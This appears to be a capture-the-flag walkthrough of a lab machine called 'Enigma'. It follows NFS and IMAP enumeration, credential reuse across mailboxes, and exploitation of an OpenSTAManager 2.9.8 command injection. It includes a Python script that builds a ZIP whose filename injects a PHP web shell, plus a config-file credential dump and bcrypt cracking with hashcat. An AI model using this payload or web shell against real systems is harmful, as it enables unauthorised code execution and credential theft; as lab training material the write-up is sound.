Enigma
Enumeration
- Find open ports
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
110/tcp open pop3 syn-ack ttl 63
111/tcp open rpcbind syn-ack ttl 63
143/tcp open imap syn-ack ttl 63
993/tcp open imaps syn-ack ttl 63
995/tcp open pop3s syn-ack ttl 63
2049/tcp open nfs syn-ack ttl 63
34191/tcp open unknown syn-ack ttl 63
36219/tcp open unknown syn-ack ttl 63
56699/tcp open unknown syn-ack ttl 63
57027/tcp open unknown syn-ack ttl 63
60213/tcp open unknown syn-ack ttl 63
- Perform script scan for these ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Enigma Corp \xE2\x80\x94 Managed IT Solutions
|_http-server-header: nginx/1.24.0 (Ubuntu)
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: AUTH-RESP-CODE TOP UIDL RESP-CODES PIPELINING STLS SASL CAPA
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after: 2036-02-16T20:33:33
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 38145/tcp6 mountd
| 100005 1,2,3 45326/udp mountd
| 100005 1,2,3 48790/udp6 mountd
| 100005 1,2,3 57027/tcp mountd
| 100021 1,3,4 34191/tcp nlockmgr
| 100021 1,3,4 38875/tcp6 nlockmgr
| 100021 1,3,4 40227/udp6 nlockmgr
| 100021 1,3,4 55629/udp nlockmgr
| 100024 1 32773/udp status
| 100024 1 50517/tcp6 status
| 100024 1 56699/tcp status
| 100024 1 60433/udp6 status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
143/tcp open imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: more post-login IMAP4rev1 IDLE STARTTLS have LOGINDISABLEDA0001 capabilities ENABLE OK LOGIN-REFERRALS LITERAL+ SASL-IR listed ID Pre-login
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after: 2036-02-16T20:33:33
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: AUTH=PLAINA0001 IMAP4rev1 IDLE ENABLE have more post-login capabilities OK LOGIN-REFERRALS LITERAL+ SASL-IR listed ID Pre-login
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after: 2036-02-16T20:33:33
995/tcp open ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after: 2036-02-16T20:33:33
|_ssl-date: TLS randomness does not represent time
2049/tcp open nfs_acl 3 (RPC #100227)
34191/tcp open nlockmgr 1-4 (RPC #100021)
36219/tcp open mountd 1-3 (RPC #100005)
56699/tcp open status 1 (RPC #100024)
57027/tcp open mountd 1-3 (RPC #100005)
60213/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Rabbit Hole
info
- There are multiple ports open. I enumerated port 80 and performed directory brute force but didn't find any directory/files
- Tried to connect to POP3 but it requires password and dovecot dont use default passwords
- Searched for common exploits for
Dovecotbut didn't find any useful exploit
- Checking port 2049, since it is nfs share let's use showmount
└─$ showmount -e 10.129.239.191
Export list for 10.129.239.191:
/srv/nfs/onboarding *
- It's listing folder
/srv/nfs/onboarding, lets mount it to/mnt/enigmaand view files
hexadivine@lnxhost:~$ sudo mount -t nfs -o vers=3,nolock,proto=tcp 10.129.239.191:/srv/nfs/onboarding /mnt/enigma
hexadivine@lnxhost:~$ cd /mnt/enigma/
hexadivine@lnxhost:/mnt/enigma$ ls
New_Employee_Access.pdf
hexadivine@lnxhost:/mnt/enigma$
- This PDF contains below credentials for Webmail Access
Webmail Access
URL:http://mail001.enigma.htb
Username:kevin
Password:Enigma2024!

Initial Access
- Connecting to IMAP using
openssland logging in askevinto read Kevin's Inbox.
openssl s_client -connect 10.129.239.191:143 -starttls imap
Connecting to 10.129.239.191
CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 CN=enigma
verify error:num=18:self-signed certificate
verify return:1
depth=0 CN=enigma
verify return:1
---
Certificate chain
0 s:CN=enigma
i:CN=enigma
a:PKEY: RSA, 2048 (bit); sigalg: sha256WithRSAEncryption
v:NotBefore: Feb 18 20:33:33 2026 GMT; NotAfter: Feb 16 20:33:33 2036 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIC7zCCAdegAwIBAgIUDIVPMnvnZ7MqOX9P3XD6FaMUGLYwDQYJKoZIhvcNAQEL
BQAwETEPMA0GA1UEAwwGZW5pZ21hMB4XDTI2MDIxODIwMzMzM1oXDTM2MDIxNjIw
MzMzM1owETEPMA0GA1UEAwwGZW5pZ21hMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAkSnxU+24XgWM3KXxLy4mCk7AclfQyAQlcr8Gm7L3E3gdkF74wSZy
i00pixUHKlKqrPQwSpNqsWMqi1ggBZQzd2jBRKzpQQflMUzI8uoUjkBlaFqKCli5
cJgyL/WcOylWDTdBXeIyBUBDN1duzVa/BDTV83inPH+Fs5rpesSJ/Jwsv4432dtb
SGAe6YuR4PIpgI33GvPoW3uSfE/yMGffwRf0RONTcsbsNC8reb3XKqa9eNfrmYb3
S9/L/3dK04fZRU1gk4vRt0xY60VSgQXJqQwfsTUxcNqwYL0bZ0u5bEfV6ITwNO5F
DZ11EkqkJCFx6pVgWRmnfC0XNMi5IHW3mwIDAQABoz8wPTAJBgNVHRMEAjAAMBEG
A1UdEQQKMAiCBmVuaWdtYTAdBgNVHQ4EFgQUHA8z2wPX5Qj2TV6SafL8f2LRoDsw
DQYJKoZIhvcNAQELBQADggEBADr3VEq/+YzDltVRbBvjGeCCm2A2+5nAniEJE/oA
CkQDVHgYrMH/7L0z0kocq0e54Mk+iRRPKjP4bF4FhG2syeaE2o1aqH6C3GIoBvRZ
79XCkgxf5XDlECId1en+KS+iX2ssSmFWEU7l9+OnIRY1QA91OekD2OznIfAeXjaw
O4SWzae1MrGM0venQ1RugTWa9JoL6G2BUtqIGDyw3QRxmx3HKStMtfHqdq2vzFjA
LsK4A5j7mMDujaq55Nsc4/Su0ShQKPW3A1X7C1Y9c492g9Z0R5GL17CrmYJIVPX2
+LC3TWgrRUQ6i5qZ7/9jU198FGNUlRGQi304f+XlxhVqTHI=
-----END CERTIFICATE-----
subject=CN=enigma
issuer=CN=enigma
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: rsa_pss_rsae_sha256
Peer Temp Key: X25519, 253 bits
---
SSL handshake has read 1635 bytes and written 1764 bytes
Verification error: self-signed certificate
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Protocol: TLSv1.3
Server public key is 2048 bit
This TLS version forbids renegotiation.
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 18 (self-signed certificate)
---
. OK Pre-login capabilities listed, post-login capabilities have more.
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Session-ID: 5F8DCD3D17FF725DE7CE561542841896C6BB3F92ECCBE89FF029B4F999164A89
Session-ID-ctx:
Resumption PSK: D2A829CC274BA72C40069DC034D2D5EE4338FF3A3D9F3628B3547B81685889E360AB0EB8A4E421DCBAD227CDC9E70A72
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 7200 (seconds)
TLS session ticket:
0000 - 3e a6 ad 87 1d 1b ab d2-3f c8 68 b9 bd 41 e5 18 >.......?.h..A..
0010 - d7 b0 16 a8 29 02 06 16-56 34 ab f5 cb f0 d2 19 ....)...V4......
0020 - f0 60 b7 0f 31 5f cb 9e-25 e1 01 5b 6a 49 fb 8a .`..1_..%..[jI..
0030 - b4 9e 9a 86 e1 cc b1 bb-68 36 2d 88 28 f6 b0 71 ........h6-.(..q
0040 - 3e f9 30 88 4f 9a 3f 5f-86 0b f5 fa 0e bd f5 b7 >.0.O.?_........
0050 - ad 1e ef fc 82 dd e7 a2-53 b5 6a b5 c4 36 8a ae ........S.j..6..
0060 - 82 7b 09 2c be 65 d8 68-9d 5a 37 07 19 70 01 80 .{.,.e.h.Z7..p..
0070 - 69 e3 80 4a fa 3f a5 47-62 f5 e0 4d 42 55 4a a7 i..J.?.Gb..MBUJ.
0080 - 16 17 cc dc e5 61 a8 d6-88 0b 2b dc ea a6 f2 fe .....a....+.....
0090 - c4 6a 94 ec 26 e0 13 d8-43 f8 e7 ad 11 71 26 65 .j..&...C....q&e
00a0 - 27 9f df 2d f4 82 ee 49-dd b2 75 1b 3d 63 ce f9 '..-...I..u.=c..
00b0 - be 2d f6 c8 7a 37 78 55-20 42 5d 27 a0 a4 a8 f9 .-..z7xU B]'....
00c0 - d5 7d 23 2e 39 4d 2e 76-31 7a ec 01 76 8f 40 95 .}#.9M.v1z..v.@.
Start Time: 1784371780
Timeout : 7200 (sec)
Verify return code: 18 (self-signed certificate)
Extended master secret: no
Max Early Data: 0
---
read R BLOCK
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Session-ID: 0E71453EB294DFC09D5B5664FFCA54D00CE3D7A793D7EA1F2E8DBA35C95EFC0E
Session-ID-ctx:
Resumption PSK: D48E151B31E0B497FE724CB9654232D72485427A18353C04F14BC8B195CB26FAB63125B22961B76CD10A9A701DAE78AA
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 7200 (seconds)
TLS session ticket:
0000 - 3e a6 ad 87 1d 1b ab d2-3f c8 68 b9 bd 41 e5 18 >.......?.h..A..
0010 - d8 af e1 05 cc de 9e 07-ea 86 fe c4 f2 f0 33 1f ..............3.
0020 - 5a 8a 32 b8 fb 80 b2 85-e5 47 d9 25 c2 3d 54 f9 Z.2......G.%.=T.
0030 - e6 21 fc 48 f4 f4 b9 71-74 26 38 b1 0e c0 4f 2f .!.H...qt&8...O/
0040 - cd e5 a8 b2 bc bc 6c 92-da ee 9f 55 e5 84 9e b6 ......l....U....
0050 - ff a1 20 56 3b 35 85 6c-df 14 78 fc 53 5f 57 6a .. V;5.l..x.S_Wj
0060 - 1f a5 bc 67 c3 61 9c 57-b7 49 52 b3 15 14 e5 2a ...g.a.W.IR....*
0070 - 5a 6b 79 15 3c e0 16 06-85 38 23 f7 2d 1e e5 4b Zky.<....8#.-..K
0080 - ca 92 75 04 b5 cf b7 bc-23 89 b7 43 b4 a2 7a cf ..u.....#..C..z.
0090 - 3a 36 9c bf ec c3 78 ea-d1 00 42 3c 46 44 f1 7c :6....x...B<FD.|
00a0 - 4e ba 09 06 c4 99 46 ff-9d a3 96 e0 83 d7 fd c1 N.....F.........
00b0 - 03 bc bc 99 fd fb 0c 29-dc 20 0d b9 77 47 89 59 .......). ..wG.Y
00c0 - c5 16 26 0b b8 48 2a 1b-01 87 83 fc 3b 66 f0 1d ..&..H*.....;f..
Start Time: 1784371780
Timeout : 7200 (sec)
Verify return code: 18 (self-signed certificate)
Extended master secret: no
Max Early Data: 0
---
read R BLOCK
a login kevin Enigma2024!
* CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS BINARY MOVE SNIPPET=FUZZY PREVIEW=FUZZY PREVIEW STATUS=SIZE SAVEDATE LITERAL+ NOTIFY SPECIAL-USE
a OK Logged in
* BAD Error in IMAP tag: Invalid tag (0.001 + 0.000 secs).
a LIST "" "*"
* LIST (\NoInferiors \UnMarked \Sent) "/" Sent
* LIST (\NoInferiors \UnMarked \Trash) "/" Trash
* LIST (\HasNoChildren) "/" INBOX
a OK List completed (0.005 + 0.000 + 0.005 secs).
a SELECT INBOX
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
* OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft \*)] Flags permitted.
* 1 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1771449871] UIDs valid
* OK [UIDNEXT 3] Predicted next UID
* OK [HIGHESTMODSEQ 6] Highest
a OK [READ-WRITE] Select completed (0.005 + 0.000 + 0.004 secs).
a FETCH 1 BODY[]
* 1 FETCH (BODY[] {1473}
Return-Path: <sarah@enigma.htb>
X-Original-To: kevin@localhost
Delivered-To: kevin@localhost
Received: from enigma (localhost [127.0.0.1])
by enigma (Postfix) with ESMTP id 673F7211B9
for <kevin@localhost>; Wed, 18 Feb 2026 21:29:13 +0000 (UTC)
Date: Wed, 18 Feb 2026 21:29:13 +0000
To: kevin@localhost
From: sarah@enigma.htb
Subject: Welcome to Enigma Corp, Kevin!
Message-Id: <20260218212913.010896@enigma>
X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
Hi Kevin,
Welcome to the team! We're thrilled to have you on board at Enigma Corp.
A little about us — Enigma Corp is a mid-sized technology and operations firm specializing in infrastructure management and enterprise solutions. We've been growing rapidly over the past few years and we're excited to have fresh talent joining us.
I'm Sarah from the Accounts department. I'll be your point of contact for any finance-related queries during your onboarding period.
We're still finalizing a few of your onboarding details — your system access, equipment setup, and department introductions are all being arranged by the IT team. You should be receiving your access credentials shortly via the company shared drive.
In the meantime, don't hesitate to reach out if you have any questions. We want to make sure your first few days are as smooth as possible.
Looking forward to working with you!
Best regards,
Sarah
Accounts Department
Enigma Corp
sarah@enigma.htb
)
a OK Fetch completed (0.002 + 0.000 + 0.001 secs).
Lateral Movement
- We see email from
sarah, trying to login as sarah with kevin's password
┌──(kali㉿lnxhost)-[~/ctf/enigma.htb]
└─$ openssl s_client -connect 10.129.239.191:143 -starttls imap
Connecting to 10.129.239.191
CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 CN=enigma
verify error:num=18:self-signed certificate
verify return:1
depth=0 CN=enigma
verify return:1
---
Certificate chain
0 s:CN=enigma
i:CN=enigma
a:PKEY: RSA, 2048 (bit); sigalg: sha256WithRSAEncryption
v:NotBefore: Feb 18 20:33:33 2026 GMT; NotAfter: Feb 16 20:33:33 2036 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIC7zCCAdegAwIBAgIUDIVPMnvnZ7MqOX9P3XD6FaMUGLYwDQYJKoZIhvcNAQEL
BQAwETEPMA0GA1UEAwwGZW5pZ21hMB4XDTI2MDIxODIwMzMzM1oXDTM2MDIxNjIw
MzMzM1owETEPMA0GA1UEAwwGZW5pZ21hMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAkSnxU+24XgWM3KXxLy4mCk7AclfQyAQlcr8Gm7L3E3gdkF74wSZy
i00pixUHKlKqrPQwSpNqsWMqi1ggBZQzd2jBRKzpQQflMUzI8uoUjkBlaFqKCli5
cJgyL/WcOylWDTdBXeIyBUBDN1duzVa/BDTV83inPH+Fs5rpesSJ/Jwsv4432dtb
SGAe6YuR4PIpgI33GvPoW3uSfE/yMGffwRf0RONTcsbsNC8reb3XKqa9eNfrmYb3
S9/L/3dK04fZRU1gk4vRt0xY60VSgQXJqQwfsTUxcNqwYL0bZ0u5bEfV6ITwNO5F
DZ11EkqkJCFx6pVgWRmnfC0XNMi5IHW3mwIDAQABoz8wPTAJBgNVHRMEAjAAMBEG
A1UdEQQKMAiCBmVuaWdtYTAdBgNVHQ4EFgQUHA8z2wPX5Qj2TV6SafL8f2LRoDsw
DQYJKoZIhvcNAQELBQADggEBADr3VEq/+YzDltVRbBvjGeCCm2A2+5nAniEJE/oA
CkQDVHgYrMH/7L0z0kocq0e54Mk+iRRPKjP4bF4FhG2syeaE2o1aqH6C3GIoBvRZ
79XCkgxf5XDlECId1en+KS+iX2ssSmFWEU7l9+OnIRY1QA91OekD2OznIfAeXjaw
O4SWzae1MrGM0venQ1RugTWa9JoL6G2BUtqIGDyw3QRxmx3HKStMtfHqdq2vzFjA
LsK4A5j7mMDujaq55Nsc4/Su0ShQKPW3A1X7C1Y9c492g9Z0R5GL17CrmYJIVPX2
+LC3TWgrRUQ6i5qZ7/9jU198FGNUlRGQi304f+XlxhVqTHI=
-----END CERTIFICATE-----
subject=CN=enigma
issuer=CN=enigma
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: rsa_pss_rsae_sha256
Peer Temp Key: X25519, 253 bits
---
SSL handshake has read 1635 bytes and written 1764 bytes
Verification error: self-signed certificate
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Protocol: TLSv1.3
Server public key is 2048 bit
This TLS version forbids renegotiation.
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 18 (self-signed certificate)
---
. OK Pre-login capabilities listed, post-login capabilities have more.
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Session-ID: BB70669EFA0F8E46C5A9E1BAB0F6227A72DB35F096D2C67EE351BADF1FE298FD
Session-ID-ctx:
Resumption PSK: 2E19B89CC1685130CA12E6625946AF2D2DFF2D43675C3549745BC4CBADE0A3ED688C33CCD059BF8B4254EF546EFC69C2
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 7200 (seconds)
TLS session ticket:
0000 - 08 89 00 6e 95 b8 40 bc-0e ab c5 f9 be 92 39 e7 ...n..@.......9.
0010 - 53 20 a5 c6 eb 0c e2 96-95 94 3d e9 16 58 67 55 S ........=..XgU
0020 - 90 e6 81 c4 fc 20 7b 19-d2 06 10 23 a0 ea 7e 61 ..... {....#..~a
0030 - 20 2c 85 de e6 ce 02 34-b0 28 bf bd 47 61 75 c7 ,.....4.(..Gau.
0040 - ee 84 2e 50 19 9a 72 d9-a9 55 51 bb 45 91 5e e3 ...P..r..UQ.E.^.
0050 - 77 39 3d 9a a3 e6 e2 21-b6 6f 99 61 20 54 c5 79 w9=....!.o.a T.y
0060 - c7 1b 90 81 2d 09 2f 46-ce 94 da ff 7b 55 8c 07 ....-./F....{U..
0070 - 90 aa ac b7 7c 70 78 82-b4 99 03 4e 1f 66 29 5c ....|px....N.f)\
0080 - d2 c1 f1 8b 8e 7a 14 8b-f0 f4 b5 8e 59 fd 3c e1 .....z......Y.<.
0090 - 9e e2 51 60 83 6c 07 e5-ff 46 e2 c1 df e3 e5 ef ..Q`.l...F......
00a0 - 4b 4b 97 66 b0 76 4b 0b-11 b0 16 03 8f da 09 a1 KK.f.vK.........
00b0 - ca de 0f d7 3c 86 d2 87-3a f2 94 9a 1a 01 00 19 ....<...:.......
00c0 - 5b 29 d0 2a 2f c9 3c 04-67 89 0b 5a 11 f1 f2 ab [).*/.<.g..Z....
Start Time: 1784372714
Timeout : 7200 (sec)
Verify return code: 18 (self-signed certificate)
Extended master secret: no
Max Early Data: 0
---
read R BLOCK
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Session-ID: B64679004BCE20567AD314CC40656A32FE41D2F511D8B4276ACFC0F6C739861A
Session-ID-ctx:
Resumption PSK: 6034A89D8C0C705ADE2612C47C2E433938C1D88280E72654F33D132CCF159B23DEEF2513B08ABF6AE78CFCA076DC13B5
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 7200 (seconds)
TLS session ticket:
0000 - 08 89 00 6e 95 b8 40 bc-0e ab c5 f9 be 92 39 e7 ...n..@.......9.
0010 - 4a 17 58 b3 a4 0d 0c 4c-39 19 e8 8c 62 cb 28 44 J.X....L9...b.(D
0020 - f1 09 f7 94 4f 14 d5 0b-53 2f 15 ca c8 85 78 f6 ....O...S/....x.
0030 - 4b 20 c7 0b 31 42 3e fe-4f 6b 9d 80 1b de b9 91 K ..1B>.Ok......
0040 - b7 6c 5c 73 b2 94 48 4f-17 8e 45 67 c0 86 64 d9 .l\s..HO..Eg..d.
0050 - fa 81 66 fd 68 df e4 e3-df f9 67 65 e5 df f8 11 ..f.h.....ge....
0060 - 4c ee d9 e2 f1 7a ce 63-f0 3d c6 2b 5e 30 01 d5 L....z.c.=.+^0..
0070 - b9 1c 8c 81 91 43 eb 6d-88 77 ab 5c 3c 82 1c d8 .....C.m.w.\<...
0080 - df 92 aa 8b a7 c6 2a 1c-8c be ba 9e 0b d0 e1 9f ......*.........
0090 - 22 4d 65 e4 d6 14 6c fb-51 ee b4 68 d6 f9 b6 b1 "Me...l.Q..h....
00a0 - aa de e7 42 bc 85 68 ed-ed d2 10 2c f2 b9 0d 17 ...B..h....,....
00b0 - 7a ae ca d7 d2 ca 42 95-4b e7 10 80 b0 da 2f fb z.....B.K...../.
00c0 - c4 2b b7 8d 49 14 d5 c8-ae e5 f9 19 ea aa 47 9f .+..I.........G.
Start Time: 1784372714
Timeout : 7200 (sec)
Verify return code: 18 (self-signed certificate)
Extended master secret: no
Max Early Data: 0
---
read R BLOCK
a login sarah Enigma2024!
* CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS BINARY MOVE SNIPPET=FUZZY PREVIEW=FUZZY PREVIEW STATUS=SIZE SAVEDATE LITERAL+ NOTIFY SPECIAL-USE
a OK Logged in
a LIST "" "*"
* LIST (\NoInferiors \UnMarked \Trash) "/" Trash
* LIST (\HasNoChildren) "/" INBOX
a OK List completed (0.003 + 0.000 + 0.002 secs).
a SELECT INBOX
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
* OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft \*)] Flags permitted.
* 1 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1771450810] UIDs valid
* OK [UIDNEXT 5] Predicted next UID
* OK [HIGHESTMODSEQ 12] Highest
a OK [READ-WRITE] Select completed (0.003 + 0.000 + 0.002 secs).
* BAD Error in IMAP tag: Invalid tag (0.001 + 0.000 secs).
a FETCH 1 BODY[]
* 1 FETCH (BODY[] {838}
Return-Path: <it@enigma.htb>
X-Original-To: sarah@localhost
Delivered-To: sarah@localhost
Received: from enigma (localhost [127.0.0.1])
by enigma (Postfix) with ESMTP id C123C211B9
for <sarah@localhost>; Wed, 18 Feb 2026 21:42:51 +0000 (UTC)
Date: Thu, 19 Feb 2026 10:22:00 +0000
Subject: Re: OpenSTAManager Access Request
From: it@enigma.htb
To: sarah@enigma.htb
Message-Id: <osm-reply-001@enigma.htb>
In-Reply-To: <osm-request-001@enigma.htb>
References: <osm-request-001@enigma.htb>
Hi Sarah,
Apologies for the delay. I have provisioned your access. Please find the details below:
URL: http://support_001.enigma.htb
Username: admin
Password: Ne3s4rtars78s
Note: I will create a dedicated account for you shortly, for now you can use the admin account to get started.
Regards,
IT Support
Enigma Corp
)
a OK Fetch completed (0.002 + 0.000 + 0.001 secs).
- There is email from IT department to Sarah with URL and credentials.
- Add
support_001.enigma.htbto/etc/hostand login with these credentials

Enumeration
- Navigated and explored
openstamanager - Found version
2.9.8

Vulnerability Discovery
- There are multiple vulnerabilities for
openstamanager 2.9.8

Rabit Hole
info
- Reed about CVE-2026-24418: error-based SQL injection and CVE-2026-24417: time based SQL injection (didn't find promising)
- CVE-2026-27012: Missing authentication and CVE-2026-24415 are out of scope
- CVE-2025-69212 OS Command Injection looks interesting so checking that
- This is a critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.
Exploitation
- Creating malicious zip file as per instructions
import zipfile
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")

- Uploading it to this page

- Got expected error

- Now let's execute shell.php generated by the exploit

- Exploit was successful, let's get RCE

Privilege Escalation to Harris
- Found mysql creds in
config.inc.php
www-data@enigma:~/html/openstamanager$ cat config.inc.php
<?php
...
// Impostazioni di base per l'accesso al database
$db_host = 'localhost';
$db_username = 'brollin';
$db_password = 'Fri3nds@9099';
$db_name = 'openstamanager';
// $port = '|port|';
$db_options = [
// 'sort_buffer_size' => '2M',
];
...
- Login to mysql and explore
www-data@enigma:~/html/openstamanager$ mysql -u brollin -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
...
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| openstamanager |
| performance_schema |
+--------------------+
3 rows in set (0.01 sec)
mysql> show tables;
+---------------------------------+
| Tables_in_openstamanager |
+---------------------------------+
| an_anagrafiche |
| ... |
| zz_users |
| ... | |
| zz_widgets_lang |
+---------------------------------+
221 rows in set (0.00 sec)
mysql> select * from zz_users;
+----+----------+--------------------------------------------------------------+------------------+--------------+----------+---------+---------------------+---------------------+-------------+---------------+---------+
| id | username | password | email | idanagrafica | idgruppo | enabled | created_at | updated_at | reset_token | image_file_id | options |
+----+----------+--------------------------------------------------------------+------------------+--------------+----------+---------+---------------------+---------------------+-------------+---------------+---------+
| 1 | admin | $2y$10$rTJVUNyGGKPlhw2cFdf5AeDHVMhnIChddcHx2XxVLMQS2KsuSz4Pu | admin@enigma.htb | 1 | 1 | 1 | 2026-02-18 19:26:52 | 2026-02-18 19:26:52 | NULL | NULL | |
| 2 | haris | $2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC | haris@enigma.htb | 1 | 5 | 1 | 2026-02-18 20:58:28 | 2026-05-26 11:07:03 | NULL | NULL | |
+----+----------+--------------------------------------------------------------+------------------+--------------+----------+---------+---------------------+---------------------+-------------+---------------+---------+
2 rows in set (0.00 sec)
- Found BCrypt hash for admin and haris, since we know admin's password - let's crack Harris's password
hexadivine@lnxhost:~$ hashcat -m 3200 ./hash ./wordlist/common_passwords/rockyou.txt
hashcat (v6.2.6) starting
...
$2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC:bestfriends
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNp...ZDr6eC
...
- Found Haris's password -
bestfriends

Privilege Escalation to Root
Access Restricted !!!
You are not authorized to view this content at this moment.